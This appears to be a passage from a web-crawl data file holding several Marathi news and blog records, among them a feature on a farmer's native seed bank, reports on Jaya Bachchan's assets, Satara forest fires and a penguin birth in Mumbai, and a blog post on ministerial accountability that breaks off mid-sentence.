नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nएकशेपंचवीस प्रकारच्या देशी बियाणांचा संग्रह\nएकशेपंचवीस प्रकारच्या देशी बियाणांचा संग्रह\nमंगळवार, 14 ऑगस्ट 2018\nकाळा गहू, काळा हुलगा, लाल उडीद, पांढरे कारळे, साठ दिवसांत येणारा तांदूळ यासह विविध भाजीपाला, कडधान्ये, तृणधान्य आदी मिळून सुमारे १२५ प्रकारचा देशी पीकवाणांचा संग्रह. आश्चर्यचकीत झालात ना पोखरापूर (जि. सोलापूर) येथील अनिल गवळी या अवलिया तरुणाने ही देशी बियाणांची बॅंक उभारली आहे. काळाच्या ओघात लुप्त होत चाललेल्या देशी बियाण्याचे संवर्धन तो एखाद्या व्रतस्थाप्रमाणे करतो आहे. विक्रीबरोबर प्रसार, प्रचार हा देखील त्यामागील मुख्य उद्देश आहे..\nकाळा गहू, काळा हुलगा, लाल उडीद, पांढरे कारळे, साठ दिवसांत येणारा तांदूळ यासह विविध भाजीपाला, कडधान्ये, तृणधान्य आदी मिळून सुमारे १२५ प्रकारचा देशी पीकवाणांचा संग्रह. आश्चर्यचकीत झालात ना पोखरापूर (जि. सोलापूर) येथील अनिल गवळी या अवलिया तरुणाने ही देशी बियाणांची बॅंक उभारली आहे. काळाच्या ओघात लुप्त होत चाललेल्या देशी बियाण्याचे संवर्धन तो एखाद्या व्रतस्थाप्रमाणे करतो आहे. विक्रीबरोबर प्रसार, प्रचार हा देखील त्यामागील मुख्य उद्देश आहे..\nमोहोळ-पंढरपूर रस्त्यावर मोहोळपासून पाच किलोमीटरवरील पोखरापूर येथे अनिल गवळी यांची शेती आहे. जेमतेम आठवी उत्तीर्ण असलेल्या या युवकाला फारपूर्वीपासून शेतीची आवड आहे. घरची १५ एकर शेती आहे. त्यात ऊस, तूर, शेवगा अादी पिके आहेत. त्यांचे सर्वात महत्त्वाचे वैशिष्ट्य म्हणजे तब्बल सव्वाशे प्रकारच्या देशी पीकवाणांचा संग्रह त्यांनी आपल्या शेतात केला आहे.\nनऊ वर्षांपासून देशी बियाणांवर अनिल काम करीत आहेत. हे काम अत्यंत जिकिरीचं, कष्टाचं\nआणि चिकाटीचं होतं. पण, अनिल त्यात यशस्वी झाले आहेत. मोहोळ येथील कृषी विज्ञान केंद्राचे\nकार्यक्रम समन्वयक डॉ. दिनेश नांद्रे, त्यांचे सहकारी, ‘आत्मा’चे प्रकल्प संचालक विजयकुमार बरबडे यांनी त्यांना वेळोवेळी मदत केली आहे.\nअसा छंद, असे समाधान\nदेशी बियाणांचा छंद जोपासताना पैसे किती मिळतात यापेक्षा काळाच्या ओघात संपत चाललेलं देशी धन मी लोकांना परत देतो आहे याचं मोठं समाधान असल्याचं अनिल सांगतात. शिवाय त्यातून अर्थप्राप्ती होतेच. हे वाण शेतात घेण्यासाठी सहा एकर क्षेत्र राखीव ठेवलं आहे.\nदेशी वाण संग्रह- वैशिष्ट्ये\nमिळालेल्या बियाणांचं संवर्धन करण्याबरोबर त्यातून पुन्हा नवे बियाणे तयार केले जाते.\nआत्तापर्यंत तब्बल १२५ प्रकारच्या विविध पिकांच्या देशी बियाणांचा संग्रह\nयात भाजीपाल्यांचे १५, कडधान्य, तृणधान्याे प्रत्येकी २०, फळभाज्या व वेलवर्गीय भाज्या ६० व अन्य १० असा समावेश.\nबियाणे द्या, देशी बियाणे घ्या'\nराज्यभरात विविध कृषी प्रदर्शने, कार्यक्रमाच्या निमित्ताने अनिल फिरतात त्या वेळी त्यांची शोधक नजर फक्त देशी बियाणांवर असते. यात सोलापूरची दगडी ज्वारी, मराठवाड्यातील देशी तूर, लाल, पिवळी ज्वारी, जळगावची दादरा असे अनेक प्रकार आहेत. प्रत्येक जातीची आपली चव, पौष्टिक गुणधर्म व वैशिष्ट्ये आहेत.\nएखाद्याकडे वेगळे बियाणे मिळाले तर ते घेऊन त्या बदल्यात आपल्याकडचे बियाणे त्याला मोफत दिले जाते. या साध्या सूत्रातूनच बियाणे संग्रह वाढण्यास मदत होत आहे.\nकृषि प्रदर्शनातून विक्री, प्रसार\nकृषी विभाग, स्वयंसेवी संस्था आदींच्या वतीने जिल्हा, राज्यस्तीय प्रदर्शने भरवली जातात.\nयामध्येही अनिल आपला स्टॉल उभा करतात. बियाणांचा प्रसार होण्यासाठी दहा ग्रॅमचे पाऊच बनवून त्याची २० रुपयांत विक्रीही केली जाते.\nविविध भाज्यांचे संकरित बियाणे बाजारात उपलब्ध आहेत. पण, सूक्ष्म निरीक्षणांद्वारे देशी बियाण्याची अोळख करून घेता येते असे अनिल सांगतात. उदाहरणच सांगायचं तर मेथी, पालक किंवा अन्य भाज्यांच्या पानाच्या कडेला बारीक लाल रेषा किंवा खालील बाजूच्या मुळ्या लाल असतात, असे अनिल सांगतात.\nअनिल बीजोत्पादनासंबंधीचे उदाहरण देतात. एक जून ते एक आॅक्‍टोबरच्या दरम्यान पावसाच्या परिस्थितीनुसार देशी टोमॅटो लागवड करतो. तीन-साडेतीन महिन्यापर्यंत टोमॅटो चांगल्या पद्धतीने परिपक्व होत नाही तोपर्यंत त्याला हात लावायचा नाही. तीन-साडेतीन महिन्यांच्या कालावधीनंतर तो चांगला पिकतो, पक्व होतो, त्याला चिऱ्या पडतात किंवा देठ सुकतात. तेव्हा तो मध्यभागी चिरायचा. दोन भाग करून रात्रभर पाण्यात भिजवायचा. दुसऱ्या दिवशी पाण्याने स्वच्छ धुवून चांगल्या प्रतीचे बियाणे गोळा करून ते राखेत ठेवून द्यायचे. पुढे गरजेनुसार हे बियाणे वापरता येते. किमान दोन वर्षांपर्यंत ते टिकून राहते. हाच निकष काकडी, वांगी अादींसाठीही लागू होतो.\nविकत घेण्यााची गरज उरलेली नाही\nअनिल सांगतात की पूर्वी शंभर एकरांपर्यंत शेती होती. आजोबा ज्वारी, गहू, शेंगा, भाजीपाल्यासह सगळं शेतात पिकवायचे. फक्त कापड आणि मीठ तेवढं विकत आणलं जायचं. घरी गरज भागवून धान्य, भाजीपाला विक्रीसाठी बाजारात नेलं जायचं. आज संकरित बियाणांचा वाढलेला वापर आणि रासायनिक खतांमुळे जमिनी खराब झाल्या आहेत. धान्यही कमी पिकू लागलं. परिणामी, प्रत्येक वस्तू आज विकत आणावी लागते. मला हे थांबवायचे आहे. त्यासाठी देशी बियाणे संवर्धनाचा माझा प्रयत्न आहे, असेही अनिल गवळी आवर्जून सांगतो.\nउपलब्ध देशी बियाणे (प्रातिनिधीक)\nकाटेरी, भरताचे, हिरवे, काटेरी, वांगे, तूप वांगे\nहिरवी, पांढरी काटेरी काकडी\nकाळा व लाल पावटा\nपांढरा, लाल मोठा वाल\nगोल, काशी, चेरी टोमॅटो\nलाल, काळी, पांढरी फररसबी\nलाल, काळा, पिवळा झेंडू,\nझुडपी चवळी, लाल वेलीची चवळी\nएरंड, जवस, कारळे, पिवळी, काळी मोहरी, लाल कांदा, राजगिरा, खपली गहू, काळा कुसळीचा गहू,\nदगडी ज्वारी, गूळभेंडी, कुचकुची हुरडा, पिवळी, लाल ज्वारी,\nलाल, पांढरा, जांभळी मका\nहरभरा, उडीद, तीळ यांचे विविध प्रकार\nकणसाचे लाल दाणे असलेली बाजरी\nसंपर्क : अनिल गवळी, ९७६७७६७४९९\nगहू उडीद कडधान्य तृणधान्य शेती तूर प्रदर्शन कृषी विभाग बीजोत्पादन seed production रासायनिक खत खत झेंडू भुईमूग\nदेशी बियाणांची छोटी पाकिटे व बॉक्स पॅकिंगही\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nसुधारित तंत्राद्वारे केली केळी शेती...ब्राह्मणपुरी (ता. शहादा, जि. नंदुरबार) येथील...\nपाणी अडवले, पाणी जिरवले पाण्याचे संकट...नांदेड जिल्ह्यातील तालुक्याचे ठिकाण असलेल्या...\nप्रयत्नवादातून उभारलेला बेकर्स वेव्ह...वडगाव मावळ तालुक्यातील (जि. पुणे) दिवड येथील...\nभाजीपाला शेतीसह कापूस बीजोत्पादनातील...भाजीपाला पिके तसेच कापूस बीजोत्पादन या पद्धतीतून...\nचांदक-गुळूंब अोढा जोडप्रकल्पाने साधली...सातारा जिल्ह्यातील चांदक-गुळुंब (ता. वाई) हा ओढा...\nनोकरी गमावली पण रेशीम शेतीतून पत कमावलीसातपुड्याच्या पायथ्याशी वसलेल्या संग्रामपूर...\nस्वेच्छानिवृत्तीनंतरही प्रयोगशील...सांगली जिल्ह्यातील दुष्काळी आटपाडी शहरातील...\nअविरत कष्टातून सिंचन, अर्थकारणाला दिले...जयपूर (जि. अौरंगाबाद) येथील राजू, भाऊसाहेब व...\nएकमेकांच्या साथीनेच जिद्दीने फुलवली...उस्मानाबाद जिल्ह्यात असलेल्या अनसुर्डा गावातील सौ...\nनियोजनबद्ध, हंगामनिहाय पीकपद्धतीतून...पाल (जि. सातारा) येथील जयवंत बाळासाहेब पाटील...\nथेट भाजीपाला विक्रीने शेतीला दिली नवी...बोरामणी (जि. सोलापूर) येथील सौ. अनिता सिद्धेश्‍वर...\n‘पुणे पांजरपोळ ट्रस्ट` करतोय देशी...भोसरी (जि. पुणे) येथील पुणे पांजरपोळ ट्रस्ट ही...\nगौरी-गणपतीसाठी निशिगंध, घरच्या...सोलापूर जिल्ह्यातील रोपळे बुद्रुक (ता. पंढरपूर)...\nसंघर्ष, अभ्यासातून नावाजला ‘मीरा मसाले...अनेक अडचणी व संघर्षांचा सामना करून राहुरी (जि....\nदुर्गम मेळघाटात दर्जेदार खवानिर्मितीअमरावती जिल्ह्यात दुर्गम मेळघाटातील मोथा (ता....\nसुधारित तंत्रातून साधली मिरची उत्पादन...धमडाई (ता.जि. नंदुरबार) येथील प्रणील सुभाष पाटील...\nकृषी पर्यटनातून मिळवली साम्रदने हुकमी...चहुबाजूंनी निसर्गाचे लेणे लाभलेले व सांधण दरीसाठी...\nगाळ, मुरमातून सुधारला जमिनीचा पोतशाश्वत पीक उत्पादनासाठी जमिनीची सुपिकता ही...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00355.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/National/Jaya-Bachchan-Richest-MP-Rs-1-Thousand-crore-assets/", "date_download": "2018-09-25T17:35:33Z", "digest": "sha1:YWLKJPVGNU7WZFSQKNNTOKJZSDZDV5V4", "length": 5201, "nlines": 37, "source_domain": "www.pudhari.news", "title": " जया बच्चन होणार श्रीमंत खासदार! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › National › जया बच्चन होणार श्रीमंत खासदार\nजया बच्चन होणार श्रीमंत खासदार\nनवी दिल्ली : पुढारी ऑनलाईन\nएकेकाळी बॉलिवूडमध्ये छाप सोडणाऱ्या जया बच्चन सध्या राजकीय क्षेत्रात सक्रीय आहेत. समाजवादी पार्टीकडून तब्बल तीनवेळा राज्यसभेच सदस्यत्व भूषवल्यानंतर त्या पुन्हा एकदा राज्यसभेच्या निवडणूक रिंगणात उतरल्या आहेत. यंदाच्या निवडणकीत यश मिळवून त्या राज्यसभेच्या इतिहासात एक नवा अध्याय रचतील. चौथ्यांदा राज्यसभेच्या सदस्या म्हणून निवडून आल्यास त्या सर्वात श्रीमंत राज्यसभा सदस्यांच्या यादीत अव्वल स्थान मिळवतील.\nवाचा: अमिताभ, जया यांच्यावर 1 अब्ज रुपयांचे कर्ज\nराज्यसभेचा अर्ज दाखल करताना दिलेल्या प्रतिज्ञापत्रानुसार, जया बच्चन यांच्या नावे १ हजार कोटी संपत्ती आहे. आतापर्यंतच्या राज्यसभा सदस्यांमध्ये २०१४ मध्ये भाजपच्या रवींद्र सिन्हा यांनी सर्वाधिक ८०० कोटींची संपत्ती दाखवली होती. त्यामुळे चौथ्यांदा निवडून येताच सिन्हा यांना मागे टाकून जया बच्चन सर्वात श्रीमंत राज्यसभा सदस्य ठरतील.\nवाचा: सर्वाधिक जागा मिळूनही भाजपची अडचण; बहुमत मिळणार नाही\nयापूर्वी २०१२ मध्ये जया बच्चन यांनी ४९३ कोटी रुपये संपती दाखवली होती. यात १५२ कोटींची स्तावर मालमत्ता आणि २४३ जंगम मालमत्तेचा समावेश होता. नुकत्यात दाखल केलेल्या संपत्ती विवरण पत्रात त्यांनी बच्चन दाम्पत्यांची स्थावर मालमत्ता ४६० असल्याचे सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00355.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Satara-forest-department-Neglect-in-nature/", "date_download": "2018-09-25T17:14:18Z", "digest": "sha1:XS53QITTXYGB4VHGIMVYMDAHYMOVELBF", "length": 6154, "nlines": 35, "source_domain": "www.pudhari.news", "title": " वणवा पेटला पण उपाययोजनांची वानवा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › वणवा पेटला पण उपाययोजनांची वानवा\nवणवा पेटला पण उपाययोजनांची वानवा\nसातारा : प्रवीण शिंगटे\nसातारा जिल्ह्यात वणवा लावण्याचे प्रकार वाढले असून त्यामुळे होणारे प्रदुषण व निसर्ग हानीकडे प्रशासकीय यंत्रणा दुर्लक्ष करत आहे. वणवा पेटला तरी उपाययोजनांबाबत मात्र वानवा असल्याचे अनेकदा समोर आले आहे. वणव्याच्या वाढत्या घटनांमुळे वनसंपदा तर जळून खाक होतच आहे, शिवाय अनेक दुर्मिळ व औषधोपयोगी वनस्पतींचे अस्तित्व धोक्यात येवू लागले आहे. वन विभाग व सामाजिक वनीकरण विभागाचा परिसर म्हटला की दूरपर्यंत गर्द वनराईने नटलेल्या उंच टेकड्या, ऐतिहासिक पाण्याची तळी, झरे, औषधी वनस्पती, असे निसर्गरम्य वातावरण असे काही वर्षापूर्वीचे चित्र होते.\nमात्र, हे डोंगर दर्‍याखोर्‍यातील चित्र आता बदलू लागले आहे. याचे प्रमुख कारण म्हणजे वन हद्दीलगतच्या भागात होत असलेले नागरीकरण व वेगाने झालेली जंगलतोड, सुकलेल्या गवताला लावले जाणारे वणवे आहेत. तरीही जाणीवपूर्वक दुर्लक्ष होत असल्याने बेसुमार वृक्षतोडीला आणखी चालना मिळत आहे. सातारा जिल्ह्याच्या डोंगराळ भागातील गवताला वणवे लावण्याची विकृत मनोवृत्ती दिवसेंदिवस वाढत चालली असल्याने नेहमी हिरव्यागार दिसणार्‍या डोंगररांगा आता काळ्याकुट्ट होताना दिसत आहेत. या वणव्यात निसर्गाच्या जीवनचक्रातील साखळीतील महत्वाचे कीटक, पक्षांची घरटी, उद्ध्वस्त होताना दिसत आहेत. यात दुर्मिळ वनौषधीही नष्ट होत आहेत.\nवनविभागाच्या हद्दीतील डोंगर कपारीतील झाडांना सतत लागत असलेल्या वणव्यामुळे डोंगर काळेकुट्ट व भकास होत आहेत. विविध प्रकारच्या झाडांचे व वृक्षांचे अज्ञातांनी लावलेल्या वणव्यात मोठ्या प्रमाणावर नुकसान झाले आहे. या नुकसानीमुळे पर्यावरणाबरोबर निसर्ग संपदेची मोठ्या प्रमाणात हानी झाल्याचे प्रकार यापूर्वीही अनेकदा उघडकीस आले आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00355.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/penguin-birth-mumbai-137922", "date_download": "2018-09-25T17:33:00Z", "digest": "sha1:ETTOWJMDPVEK6RGTRE4PSL2FJY5I3AMS", "length": 11401, "nlines": 170, "source_domain": "www.esakal.com", "title": "penguin birth in Mumbai भारतात पहिल्यांदाच जन्मला पेंग्विन | eSakal", "raw_content": "\nभारतात पहिल्यांदाच जन्मला पेंग्विन\nगुरुवार, 16 ऑगस्ट 2018\nस्वातंत्र्यदिनी पंधरा अॉगस्ट रोजी सायंकाळी अाठ वाजून दोन मिनिटांनी हे पिल्लू अंड्यातून जन्माला अाले. मॉल्ट अाणि फ्लिपर या नर मादीची जोडी तयार झाल्यानंतर ५ जुलै रोजी फ्लिपर ने अंडे टाकल्याचे राणीबाग प्रशासनाच्या लक्षात अाले.\nमुंबई : भायखळ्याच्या राणीबागेत स्वातंत्र्यदिनी पेंग्विनच्या पिल्लाचा जन्म झाला. पिंजर्‍यात जन्मलेले हे देशातील पहिले पेंग्विन ठरले अाहे.\nस्वातंत्र्यदिनी पंधरा अॉगस्ट रोजी सायंकाळी अाठ वाजून दोन मिनिटांनी हे पिल्लू अंड्यातून जन्माला अाले. मॉल्ट अाणि फ्लिपर या नर मादीची जोडी तयार झाल्यानंतर ५ जुलै रोजी फ्लिपर ने अंडे टाकल्याचे राणीबाग प्रशासनाच्या लक्षात अाले. पेंग्विनचे अंडे चाळीस दिवसांनी फुटते. त्यानुसार १५ अॉगस्टलाच देशाला पिंजर्‍यात जन्मलेला पेंग्विन मिळणार असल्याचे राणीबाग प्रशासनाकडून जाहीर करण्यात अाले होते.\nत्यानुसार राणीबागेतील डॉक्टर्सही अंड्याजवळ लक्ष ठेवून होते. दोघे नर-मादी अाळीपाळीने अंडे उगवण्याचा प्रयत्नही करत होते. अखेर चाळीस दिवसांच्या प्रतीक्षेनंतर काल पेंग्विनचा जन्म झाला. पिल्लू व्यवस्थित अाहे. अाई फ्लिपर पिल्लूला दूध पाजण्याचाही प्रयत्न करतेय, अशी माहिती राणीबागेचे संचालक डॉ संजय त्रिपाठी यांनी दिली. हे पिल्लू नर अाहे का मादी हे जन्मल्या नाही समजत. काही दिवसांनी पिल्लूचे लिंग समजेल, असेही ते म्हणाले.\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nउस्मानाबाद जिल्ह्यात स्वाईन फ्लुचा पहिला बळी\nजेवळी : स्वाईन फ्लुमुळे जेवळी (ता. लोहारा, जि. उस्मानाबाद) येथील एका महिलेचा पुणे येथील खासगी रुग्णालयात उपचारादरम्यान मंगळवारी (ता. 25) सकाळी आठ...\nमराठवाड्यात रब्बी पेरणीची चिंता\nऔरंगाबाद : दिवसेंदिवस जमिनीतील ओलावा कमी होत चालला असून परतीच्या पावसानेही पाठ फिरवल्याने रब्बी पेरणी करावी कशी अशी धास्ती शेतकऱ्यांना पडली आहे....\nहॉकर्सच्या जप्त साहित्याची परस्पर विक्री\nजळगाव ः शहरात अतिक्रमण निर्मूलन मोहिमेंतर्गत महापालिका प्रशासनाच्या अतिक्रमण विभागाने हॉकर्सचे लाखो रुपयांचे साहित्य जप्त केले. परंतु या साहित्याची...\nमनमाड - काम न करता पगार घेणाऱ्या डॉक्टरची चौकशी करणारी समितीच संशयाच्या भोवऱ्यात\nमनमाड - मनमाड उपजिल्हा रुग्णालयात एकही दिवस सेवा न देता पगार काढणारा डॉक्टर व त्यास पाठीशी घालणाऱ्या वरिष्ठांची चौकशी करण्यासाठी नेमलेली चौकशी समितीच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00356.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/12/blog-post_23.html", "date_download": "2018-09-25T17:47:30Z", "digest": "sha1:UL2ZQK2ZDZRPY44XMTMNE6AI4CJTFNQK", "length": 19664, "nlines": 68, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: सत्तेचे संतुलन", "raw_content": "\nहे मेडलिन अल्ब्राईटचे पुस्तक बरेच दिवस झाले वाचतो आहे. इंग्रजी मी तसे अगदी कामापुरते वापरतो त्यामुळे पुस्तक बिस्तक वाचायला वेळ लागतो. .... मराठी असले असते तर एका दिवसात वाचुन झाले असते. खरेच ... सोमवारात दर सुटीत आनंद वाचनालयात मी रोज एक पुस्तक वाचायचो तर तिथे काम करणारी बाई मला म्हणाली ..\"खरंच वाचतोस का नुस्तेच परत आणुन देतोस\" असो ... पण आज सकाळ मधील एक बातमी वाचली आणि खूप अस्वस्थ व्ह्यायला झाले. बातमी अशी की भारतामध्ये संसदेने चर्चेशिवाय मंत्रांना आणखी एक सवलत मान्य केली. सवलत अशी की आता मंत्री लोक त्यांच्याबरोबर कितीही लोकांना (आणि कोणालाही) भारतभर प्रवास करता येईल. पैसे अर्थात भारत सरकार म्हणजे आम जनता देणार.\nभारत मोठा देश आहे. मंत्र्यांवर मोठी जबाबदारी असते. खरे आहे. अमेरिकेत सर्व मंत्र्यांना वापरायला सरकारी विमाने असतात.... खरे आहे. विमानप्रवास गरज आहे ... चैन नाही ... खरे आहे. परंतु चर्चेशिवाय मंत्र्यांचे पगार, भत्ते, सवलती, घरे, विमानप्रवास सगळेच कसे मंजुर होते आणि काही सवलती जरिही समर्थनीय असतील तरीही त्याचे उत्तदायित्व कुठे दिसत नाही.\nमेडलिन अल्ब्राईटच्या पुस्तकात आणि त्याआधीही अनेकदा वाचण्यात आले आहे की अमेरिकेत अश्या व्यक्तिगत सवलती तर सोडाच परंतु कुठल्याही भेटवस्तु किंवा जेवण देखील घ्यायला कायद्याने बंदी आहे. परराष्ट्रमंत्री म्हणुन काम करत असताना ज्या ज्या भेटी मिळाल्या त्या ४०-५० डॉलर्सपेक्षा जास्त महाग असलेल्या सर्व वस्तु सरकारजमा कराव्या लागल्या. इतकेच नाही तर ५० डॉलर्स पेक्षा जेवणाचे बिल जास्त झाले तर ते सुद्धा सरकारी खर्चानेच करावे लागते. आणि हे सर्व कशासाठी तर सरकारी मंत्र्याना लाच देऊन विकत घेण्याचा कुणी प्रयत्न करु नये म्हणुन. आणि हे नियम सर्वच सरकारी नोकरांना लागु आहेत ... अगदी अमेरिकेच्या राष्ट्राध्यक्षांना सुद्धा \nआणि हे केवळ इथेच थांबत नाही. सर्व मंत्र्यांची इथले सेनेटर्स आणि कॉंन्ग्रेस सदस्य नियमितपणे उलटतपासणी घेत असतात. म्हणायला कार्याचा आढावा असतो ... परंतु अक्षरश: धारेवर धरल्यासारखे प्रश्न विचारले जातात. सेनेट म्हणजे इथली लोकसभा आणि कॉन्ग्रेस म्हणजे इथली राज्यसभा. राष्ट्राध्यक्ष आणि उप-राष्ट्राध्यक्ष सोडुन सर्व नियुक्त मंत्रांना तसेच सरकारी अधिकार्‍यांना कार्यवृत्त देण्यासाठी इथली संसद बांधील ठेवते.\nपाश्चात्य देशांमध्ये भाबडेपणा दिसुन येत नाही. सत्तेमुळे येणाऱ्या उन्मत्तपणाला ते चांगले ओळखुन आहेत आणि सत्तेवर अंकुश ठेवुन व्यक्तिस्वातंत्र अबाधित ठेवण्याची त्यांची सतत धडपड असते. लॉर्ड ऍक्टन या इंग्लिश इतिहास तज्ञाने केलेले विधान यांच्या शासनाचा अगदी पाया बनले आहे - \"सत्ता भ्रष्ट करते. आणि निरंकुश सत्ता पूर्णत: भ्रष्ट करते.\"\nकिती खरे आहे हे हजारो वर्षांपासुन हेच तत्व चालु आहे. भारतातील सम्राट राजसूय यज्ञ करुन स्वत:ला राज्याभिषेक करुन घेत असत. त्यावेळेच्या विधिंमध्ये राजा म्हणत असे \"अदण्ड्योऽस्मि हजारो वर्षांपासुन हेच तत्व चालु आहे. भारतातील सम्राट राजसूय यज्ञ करुन स्वत:ला राज्याभिषेक करुन घेत असत. त्यावेळेच्या विधिंमध्ये राजा म्हणत असे \"अदण्ड्योऽस्मि अदण्ड्योऽस्मि \" त्यावेळी राजगुरु त्याच्या पाठीवर तीनवेळा दर्भाने स्पर्श करुन म्हणत असे \"धर्मदण्ड्योऽसिधर्मदण्ड्योऽसि\" .... अर्थात राजा म्हणे \"मला कुणीही शासन करु शकत नाही\". आणि राजगुरु त्याला आठवण करुन देई \"तुझ्यावर धर्माचे शासन आहे\". रोमन लोकांमध्ये देखील अशीच पद्धत होती. विजयी रोमन सम्राट जेव्हा रोममध्ये विजयपताका फडकवत असत त्यावेळी एक गुलाम त्यांच्यामागे उभा राहुन म्हणे \"होमिनेम ते मेमेन्टो\" - \"तु केवळ एक (मर्त्त्य) मानव आहेस\".\nदोन्ही प्रथा अगदी सारख्या वाटतात ... परंतु नीट विचार केला तर भारतीय प्रथा ही धर्मावर अर्थात प्रत्येक माणसातल्या देवत्वाला आवाहन करणारी आहे. तर रोमनांची प्रथा ही जरब बसवणारी आहे की जर तु नीट राज्य केले नाहीत तर कुणीतरी तुला मारुन राजा बनेल. दोन्हीत फरक आहे.\nआणि आजही हाच फरक आपल्या राज्यपद्धतींमध्ये आहे.\nभारतात ५ वर्षांसाठी आपण आपल्या आमदार खासदारांना निवडुन देतो आणि विश्वास ठेवतो की ते चांगले वागतील. आजपर्यंत किती आमदार खासदार मंत्री तर सोडाच परंतु नगरसेवकांना त्यांच्या कामाचा जाब विचारला जातो तशी आपल्याकडे पद्धतच नाही. किती राजकारण्यांवर गुन्हे दाखल करुन शिक्षा करण्यात आली आहे तशी आपल्याकडे पद्धतच नाही. किती राजकारण्यांवर गुन्हे दाखल करुन शिक्षा करण्यात आली आहे\nरणाविण जे मिळाले ते स्वातंत्र नव्हते हे कधी तरी आपल्याला कळेल. केवळ गोरा इंग्रज जाऊन आपला काळा इंग्रज आला इतकेच काय ते. दगडाहुन वीट मऊ इतकेच काय ते. स्वातंत्र्य हे भित्र्या आणि आळशी लोकांना मिळत नसते. त्यासाठी झगडावे लागते. पाश्चात्यांकडे सत्ता निरंकुश ठेवली जात नाही.\nसाध्या निवडणुका पहा अमेरिकेतील. संपूर्ण संसद एकदम निवडुन येत नाही. साधारणत: १/३ संसद दर दोन वर्षांनी बदलते. तीच गोष्ट कॉन्ग्रेसची. इतकेच नाही तर या वर्शी कॉन्ग्रेसच्या निवडणुका 